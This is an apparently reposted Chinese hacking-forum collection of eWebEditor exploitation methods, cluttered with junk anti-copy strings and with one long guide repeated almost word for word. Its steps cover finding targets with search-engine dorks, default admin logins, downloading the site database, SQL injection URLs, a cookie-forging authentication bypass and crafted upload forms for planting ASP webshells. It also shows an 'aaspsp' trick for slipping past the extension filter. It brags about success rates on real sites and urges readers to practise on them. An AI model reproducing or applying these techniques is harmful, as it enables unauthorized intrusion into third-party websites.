eWebEditor.asp?id=45&style=standard1 样式调用
# \7 d5 B" ?# M7 P
; b' @* z* {" Y. ^, y9 s1 H* t, y" S7 a; @* V
/edit/admin_uploadfile.asp?id=14&dir=../../.. ^ K$ ~+ ]: z/ w
可以浏览网站目录 ../自己加或者减
y0 z+ q9 h: m; I3 B, p5 h
0 I7 n: ?# i+ _" \# z3 _ |! Y/ s有次无意的入侵使我发现了ewebeditor2.7.0版本的存在注入漏洞 i, {7 w7 g# t5 z
简单利用就是
% s% R2 o) ?8 P2 `! T7 |http://site/path/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200' D4 l+ [7 f! ~. ?+ S3 \; v3 F
http://www.siqinci.com/ewebedito ... amp;style=full_v200
: H+ ^$ U4 A2 I Q) j9 I) L可以利用nbsi进行猜解,对此进行注入
7 O. f/ W, O! E还有的时候管理员不让复制样式,但是你又看到有个样式被别人以前入侵修改了存在asa或者之类可以传shell,但是上传插入工具没有,又无法修改怎么办那?也许很多人说应该可以加工具栏,但是我就遇见过不让加的
* Q+ O5 N/ D: M2 m, M$ Q这样我们可以利用ewebeditor里的upload.asp文件进行本地构造进行上传具体如下:
5 E* O' y5 p9 P' J3 V! H在action下面/ J) B, ?6 ~. @
<form action="http://*********/edit/upload.asp?action=save&type=ASA&style=test" method=post name=myform enctype="multipart/form-data">
: \+ ]& N( k- u4 {& p6 h/ r7 N<input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value">
+ {2 V2 [9 E* E5 J- p<input type="submit" name="uploadfile" value="提交">- A) D+ \9 \; c$ C4 _
<input type=hidden name=originalfile value="">
9 n8 s0 y, y P9 K; ^. F+ K" b0 L</form>
* c: a2 A# h9 N------------------------------------------------------------------------------------------------------------------------------------------------# U9 B# V! A4 y- O' m
<input type="submit" name="uploadfile" value="提交"> 放在action后头
5 Y! |8 t! ] d2 j5 Z4 z: ], e,适合用于在ewebeditor后台那个预览那里出来的 比如上传图片那里,有些时候上传页面弹不出来,就可以用upload.asp?action=save&type=ASA&style=test 这个本地来提交,不过这个东西还是要数据库里上传类型有ASA才可以传得上。. a) V* j5 H- J0 R
4 I* o$ Q3 Z( K |1 J
4 ]5 {0 ]. l. I
& h I8 O* T8 [* S$ H% ]6 [: ^. s4 w" {1 V' V% a
Ewebeditor最新漏洞及漏洞大全[收集] (图) _ v4 {$ {# x7 h5 p
本帖最后由 administrator 于 2009-7-7 21:24 编辑
1 w: j' E4 n8 F/ ?, ]* q8 W; E/ ], J- l( C
以下文章收集转载于网络
- Y5 s1 C' ~% E#主题描述# ewebeditor 3.8漏洞[php]$ A+ ~/ @# O0 a
--------------------------------------------------------------------------------------------% d4 y$ q1 d9 b
#内容#
! k4 Q( H* s4 T; K4 r6 Xphp版ewebeditor 3.8的漏洞9 s. x. `$ i: Y0 b2 x+ m4 `8 Y( X
php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法:% s2 y. _, M [- y5 M
1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入 javascript:alert(document.cookie=”adminuser=”+escape(”admin”)); javascript:alert(document.cookie=”adminpass=”+escape(”admin”)); javascript:alert(document.cookie=”admindj=”+escape(”1″));后三次回车,9 g0 g7 v" ^8 j: c+ L# a9 N
2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了
' r0 l9 H: {' I: s( |/ |1 ]8 `; E3 后面的利用和asp一样,新增样式修改上传,就ok了
5 t4 g) v9 g! K# C2 C8 Q测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的)
* M8 l; H. n7 r5 `# raspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell
# c) X, `& k- P, H2 Pjsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了# k- @' \' @0 [' [' a
--------------------------------------------------------------------------------------------/ r3 |- |! l8 v
2 v: Q" E. f/ M0 F) l
) J1 P6 {8 t$ s% {2 e: R2 y
算是比较全面的ewebeditor编辑器的漏洞收集,现在的网站大多数用的都是ewebeditor编辑器,所以ewebeditor漏洞的危害性还是相当大的,做了一下漏洞收集,漏洞修补的方法可去网上查找。
1 Z" Y4 {: w) H% b
0 j3 n# [3 B1 f. x( J. Q4 |漏洞更新日期TM: 2009 2 9日 转自zake’S Blog* k) \6 b# E) J$ Z! K9 x/ r
ewebeditor最新漏洞。这个程序爆漏洞一般都是直接上传的漏洞,首先在本地搭建一个ASP环境重命名一个木马名字例如:1.gif.asp这样的就OK了
& ]- E0 O1 [" W那么接下来完美本地搭建一个环境你可以用WEB小工具搭建一个,目的就是让远程上传。/pic/3/a2009-6-4-7341a1.gif.asp搭建好了 ,在官方的地方执行网络地址
( v% B0 t' ?- \# X. s$ A6 F1 Z3 |* V8 g9 m
3 P5 m1 _4 I* X$ x+ C v然后确定以后,这里是最关键的一部!
' G/ d5 X( x& h3 b1 k. I这里点了远程上传以后,再提交得到木马地址
7 W0 c4 s& m- w/ W5 q由于官方在图片目录做了限制 导致不能执行ASP脚本而没能拿到WEB权限: r% B3 |4 {+ G' q$ F- j& g' Q
属于安全检测漏洞版本ewebeditor v6.0.0
0 Y6 p% k! Y- B. q4 W5 }, _# k" [: H' }
以前的ewebeditor漏洞:; J' Z2 s, Y+ y% h8 Z) P
+ ~4 v4 q* @; r# d D) O
ewebeditor注入漏洞5 c4 j: S% q' _8 p- \9 D! }% P
6 s6 h" e' a3 E9 j# c0 Y大家都知道ewebeditor编辑器默认的数据库路径db/ewebeditor.mdb
5 n( v* i. _2 u默认后台地址是admin_login.asp,另外存在遍历目录漏洞,如果是asp后缀的数据库还可以写入一句话) u, Z( s6 g3 H, U
今天我给大家带来的也是ewebeditor编辑器的入侵方法6 s% J* W1 `. B- x
不过一种是注入,一种是利用upload.asp文件,本地构造
. @9 ?! a: c9 h/ oNO1:注入1 l! d8 K# @! [$ n* I1 j
http://www.XXX.com/ewebeditor200 ... amp;style=full_v2004 R8 E9 @. P. }0 }
编辑器ewebedior7以前版本通通存在注入
6 |6 b5 s& x* _( b5 U, D直接检测不行的,要写入特征字符' s, ^# N9 \: F5 w' \0 w) ^
我们的工具是不知道ewebeditor的表名的还有列名
! A- E) E, Y. k* j, I, }我们自己去看看3 \4 r" m/ S% H7 n
哎。。先表吧 C( |. L( @5 o* e* C' e
要先添加进库; m8 }" X: t2 A7 h- W$ p; D( h
开始猜账号密码了
( d) d4 l a! K& u% F% Y4 }我们==. l, x2 z# M! c7 |% Q9 i
心急的往后拉
% [* F" f% f/ @7 ]$ a出来了
' o; s( V# z+ Y9 W( [ b[sys_username]:bfb18022a99849f5 chaoup[sys_userpass]:0ed08394302f7d5d 851120
. B0 A- ^. y$ n5 O对吧^_^8 @( C- t1 U" O% v
后面不说了
. V# d& U7 g* ^NO2:利用upload.asp文件,本地构造上传shell
: ]8 G' \+ H! G大家看这里/ ]4 C8 D# ^* x6 ~
http://www.siqinci.com/ewebedito ... lepreview&id=370 O1 K; P, K9 U, h! W
如果遇见这样的情况又无法添加工具栏是不是很郁闷; X5 C: R6 a7 k$ J* s. d
现在不郁闷了,^_^源源不一般
" q4 V9 R. m8 u* Y. ^我们记录下他的样式名“aaa”& H+ _7 p* c4 g$ u' @* ~
我已经吧upload.asp文件拿出来了
& l( ~% ^ [. Y; T: o$ z* L/ s我们构造下( G5 U: x7 o7 w6 ?0 q6 v/ d
OK,我之前已经构造好了, W. ` U$ H- ^$ C6 ?$ [
其实就是这里
9 P9 u+ I" a$ n a* l% G6 N<form action=”地址/path/upload.asp?action=save&type=&style=样式名” method=post name=myform enctype=”multipart/form-data”>
2 }+ d) q U8 V3 g+ F<input type=file name=uploadfile size=1 style=”width:100%”>
- R, C* R- C; p- |<input type=submit value=”上传了”></input>
. Y _. W& g( C5 b5 l</form>
( {$ [& A3 \' A下面我们运行他上传个大马算了
, F3 O# y/ N% J8 j8 Q- OUploadFile上传进去的在这个目录下
- |! B2 Y& i$ ?% |) J/ O2008102018020762.asa
3 b% A( J S" E# _" K7 o! P, o2 c6 I# L
过往漏洞:/ p! I3 G# v6 m: m, t* R
* R( b5 X3 l3 h4 C
首先介绍编辑器的一些默认特征:
. s4 x" M. r0 \: `1 ?, `3 |默认登陆admin_login.asp
" m( p% f" m" c默认数据库db/ewebeditor.mdb/ q% X o4 `6 t$ ~' i5 i
默认帐号admin 密码admin或admin888
- N6 ?. g8 u: L% ~% N5 `搜索关键字:”inurl:ewebeditor” 关键字十分重要( l* V4 b5 Q4 I3 _" \# z
有人搜索”eWebEditor - eWebSoft在线编辑器”
* o8 L+ f* Z, s根本搜索不到几个~
+ Q/ u9 k$ R) Cbaidu.google搜索inurl:ewebeditor) v/ f1 t6 a7 }2 T" B5 H
几万的站起码有几千个是具有默认特征的~
1 C: W' e$ o) B8 A0 C那么试一下默认后台, _+ v! n: l6 w, K
http://www.xxx.com.cn/admin/ewebeditor/admin_login.asp) g& D0 S1 r5 M; n7 ?" l
试默认帐号密码登陆。
& Y; d) d( I( \7 n利用eWebEditor获得WebShell的步骤大致如下:- y& ^$ G4 h; N( v" u: n1 ^/ F* s
1.确定网站使用了eWebEditor。一般来说,我们只要注意发表帖子(文章)的页面是否有类似做了记号的图标,就可以大致做出判断了。
+ U0 B/ S& m7 |" w: W2.查看源代码,找到eWebEditor的路径。点击“查看源代码”,看看源码中是否存在类似“<iframe ID=’eWebEditor1′ src=’/edit/ewebeditor.asp?id=content&style=web’ frameborder=0 scrolling=no width=’550′ HEIGHT=’350′></iframe>”的语句。其实只有发现了存在这样的语句了,才可以真正确定这个网站使用了 eWebEditor。然后记下src=’***’中的“***”,这就是eWebEditor路径。, x f- }. ^# t( \0 _
3.访问eWebEditor的管理登录页面。eWebEditor的默认管理页面为admin_login.asp,和ewebeditor.asp在同一目录下。以上面的路径为例,我们访问的地址为:http://www.***.net/edit/admin_login.asp,看看是否出现了登录页面。2 C, \; D3 Q# ~+ I$ t( f
如果没有看到这样的页面,说明管理员已经删除了管理登录页面,呵呵,还等什么,走人啊,换个地方试试。不过一般来说,我很少看到有哪个管理员删了这个页面,试试默认的用户名:admin,密码:admin888。怎么样?成功了吧(不是默认账户请看后文)!
( G9 O! t8 p: y5 H, ]8 V( L4.增加上传文件类型。点击“样式管理”,随便选择列表中底下的某一个样式的“设置,为什么要选择列表中底下的样式?因为eWebEditor自带的样式是不允许修改的,当然你也可以拷贝一个新的样式来设置。% r* k1 I5 ^0 c6 m7 \# c
然后在上传的文件类型中增加“asa”类型。
4 d& _% f g. L7 x- w5.上传ASP木马,获得WebShell。接下来将ASP木马的扩展名修改为asa,就可以简单上传你的ASP木马了。不要问我怎么上传啊,看到 “预览” 了吗?点击“预览”,然后选择“插入其它文件”的按钮就可以了。
C. R; F' k. P: R( O4 i' a+ N漏洞原理
0 |1 x$ P# d1 |- @. }漏洞的利用原理很简单,请看Upload.asp文件:
5 W- r" K/ l- }( U: S1 H1 {任何情况下都不允许上传asp脚本文件
9 b8 B* g% i3 M, |; s4 x3 I* M, YsAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
6 k2 B6 N" _ O) ^* D因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件需要过滤,为什么不同时过滤asa、cer等文件呢?也许这就是对免费用户不负责任的表现吧!
4 F( w4 J$ I0 U) N7 K' L9 c高级应用
% ^/ s2 R9 k4 D7 zeWebEditor的漏洞利用还有一些技巧:, Y- J) w, O6 G+ [2 G; T1 [
1.使用默认用户名和密码无法登录。7 T* A( o4 N- y4 G! m Q
请试试直接下载db目录下的ewebeditor.mdb文件,用户名和密码在eWebEditor_System表中,经过了md5加密,如果无法下载或者无法破解,那就当自己的运气不好了。
2 |- o3 ?' ^/ U7 n m0 p. v6 D& D2.加了asa类型后发现还是无法上传。' C0 Q* W; b% K- f8 t5 p9 U
应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)一句上修改,我就看见过一个站长是这样修改的:
0 Z. \7 ~! C- C2 PsAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”, “”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”) e4 ]! Z+ v; a$ @" w4 t
猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了 “asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名的过滤。
5 S* `7 G( r5 K3.上传了asp文件后,却发现该目录没有运行脚本的权限。2 ]7 s# q. y; b' G' [
呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以修改的吗?仔细看看图四。9 B5 V0 X( p5 r& c
4.已经使用了第2点中的方法,但是asp类型还是无法上传。
7 @9 \* B3 y* E4 w看来站长肯定是一个写asp的高手,但是我们还有最后一招来对付他:看到图三中的“远程类型”了吗?eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的“应用文件映射”中的 “asp”删除。
/ x7 ?9 ]6 n8 T( U后记
; E7 m$ `, t% w1 n- P2 ?0 I2 r- S根据自己的经验,几乎只要能进入eWebEditor的后台管理,基本上都可以获得WebShell。在Google上搜索 “ewebeditor.asp?id=”能够看到长达十多页的相关信息,我大致抽查了其中几个,发现成功率约为50%。还不错吧?oblg 2.52版以前的版本也是使用eWebEditor,可以去搜索几个来练练手。要命的是eWebEditor的官方网站和帮助文件中根本没有这方面的安全提示。还有,我发现官方提供的测试系统并不存在类似的漏洞,看来不是他们不知道,而是没有把免费用户的网络安危放在心上!0 }. x6 Z) o/ T* ?
基本入侵基础漏洞
& @) O; ^6 y" J: C$ |! Y( neWebEditor 漏洞6 ^8 f9 i- E# ~8 g6 Z9 {7 F
0 f$ b9 E5 \5 x" k3 p各位站长在使用eWebEditor的时候是否发现,eWebEditor配置不当会使其成为网站中的隐形炸弹呢?第一次发现这漏洞源于去年的一次入侵,在山穷水尽的时候发现了eWebEditor,于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历,这才想起应该写一篇文章和大家共享一下,同时也请广大已经使用了eWebEditor的站长赶紧检查一下自己的站点。要不然,下一个被黑的就是你哦! 7 L" G2 E) m7 H! V' i; l r* L8 P' A
, @% G0 _0 D, j/ f4 U6 v
漏洞利用
7 H7 v- y- e( _$ Y. M% G) g利用eWebEditor获得WebShell的步骤大致如下:
- O( N6 ?7 u, S+ w* y& P1.确定网站使用了eWebEditor。一般来说,我们只要注意发表帖子(文章)的页面是否有类似做了记号的图标,就可以大致做出判断了。+ ]1 K' ^9 h) e6 v! y+ L
2.查看源代码,找到eWebEditor的路径。点击“查看源代码”,看看源码中是否存在类似“<iframe ID='eWebEditor1' src='/edit/ewebeditor.asp?id=content&style=web' frameborder=0 scrolling=no width='550' HEIGHT='350'></iframe>”的语句。其实只有发现了存在这样的语句了,才可以真正确定这个网站使用了 eWebEditor。然后记下src='***'中的“***”,这就是eWebEditor路径。
0 U: j+ y0 W' u. I3.访问eWebEditor的管理登录页面。eWebEditor的默认管理页面为admin_login.asp,和ewebeditor.asp在同一目录下。以上面的路径为例,我们访问的地址为:http://www.***.net/edit/admin_login.asp,看看是否出现了登录页面。; t) H$ v; {7 h$ K/ N- s
如果没有看到这样的页面,说明管理员已经删除了管理登录页面,呵呵,还等什么,走人啊,换个地方试试。不过一般来说,我很少看到有哪个管理员删了这个页面,试试默认的用户名:admin,密码:admin888。怎么样?成功了吧(不是默认账户请看后文)!, W; y+ H2 i1 G* m* U0 i9 ^9 ~
4.增加上传文件类型。点击“样式管理”,随便选择列表中底下的某一个样式的“设置,为什么要选择列表中底下的样式?因为eWebEditor自带的样式是不允许修改的,当然你也可以拷贝一个新的样式来设置。1 Q- M5 f) ~$ }9 |2 ^: J# A
$ f1 [. n! j: E% m
然后在上传的文件类型中增加“asa”类型。
+ Q4 J* `4 f; Q! e" m- j6 q1 J- d3 E$ b* r+ q
5.上传ASP木马,获得WebShell。接下来将ASP木马的扩展名修改为asa,就可以简单上传你的ASP木马了。不要问我怎么上传啊,看到 “预览” 了吗?点击“预览”,然后选择“插入其它文件”的按钮就可以了。3 {. V6 i5 m# f5 L
6 n5 R5 w& a4 \& t0 L
! B2 r) M% a) r漏洞原理
, }0 P g K, t6 V+ }% k; f漏洞的利用原理很简单,请看Upload.asp文件:
% S+ ]' w# ?, j1 Q9 w2 T8 y任何情况下都不允许上传asp脚本文件
* y2 u: b R+ }- T4 OsAllowExt = replace(UCase(sAllowExt), "ASP", "")8 ~+ P6 Q5 \1 E2 d! H% u
因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件需要过滤,为什么不同时过滤asa、cer等文件呢?也许这就是对免费用户不负责任的表现吧!' k- O- B+ \% b2 l M- E
) Z& y" o% x( ^5 L- s! H高级应用! G* b9 X* r# L# U# R6 F/ i8 r8 a( o
eWebEditor的漏洞利用还有一些技巧:
5 a! @8 S% t% `/ a7 s2 u( w. q1.使用默认用户名和密码无法登录。
6 @+ S0 u; R4 }7 h# [' }请试试直接下载db目录下的ewebeditor.mdb文件,用户名和密码在eWebEditor_System表中,经过了md5加密,如果无法下载或者无法****,那就当自己的运气不好了。
( V, z, l4 e* b$ Q# `7 I2.加了asa类型后发现还是无法上传。% }+ C/ c. y4 h
应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = replace(UCase(sAllowExt), "ASP", "")一句上修改,我就看见过一个站长是这样修改的:
$ c) u. ?5 q# T. z3 LsAllowExt = replace(replace(replace(replace(replace(UCase(sAllowExt), "ASP", ""), "CER", ""), "ASA", ""), "CDX", ""), "HTR", "")8 p( X* b# m. R1 [- K( l- b) \
猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了 “asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名的过滤。
1 E% K z( M1 p4 a' D, G3.上传了asp文件后,却发现该目录没有运行脚本的权限。
6 N- ~! Z* b% \9 k; z! t }# J呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以修改的吗?仔细看看图四。2 t* t# c6 Z& Y
4.已经使用了第2点中的方法,但是asp类型还是无法上传。
5 K) H: o5 |7 u$ z7 }看来站长肯定是一个写asp的高手,但是我们还有最后一招来对付他:看到图三中的“远程类型”了吗?eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的“应用文件映射”中的 “asp”删除。0 g# I, N1 g" Z% |
) I( F. M# i+ {9 V后记
+ A& ~' u$ r {0 N& E根据自己的经验,几乎只要能进入eWebEditor的后台管理,基本上都可以获得WebShell。在Google上搜索 “ewebeditor.asp?id=”能够看到长达十多页的相关信息,我大致抽查了其中几个,发现成功率约为50%。还不错吧?oblg 2.52版以前的版本也是使用eWebEditor,可以去搜索几个来练练手。要命的是eWebEditor的官方网站和帮助文件中根本没有这方面的安全提示。还有,我发现官方提供的测试系统并不存在类似的漏洞,看来不是他们不知道,而是没有把免费用户的网络安危放在心上! |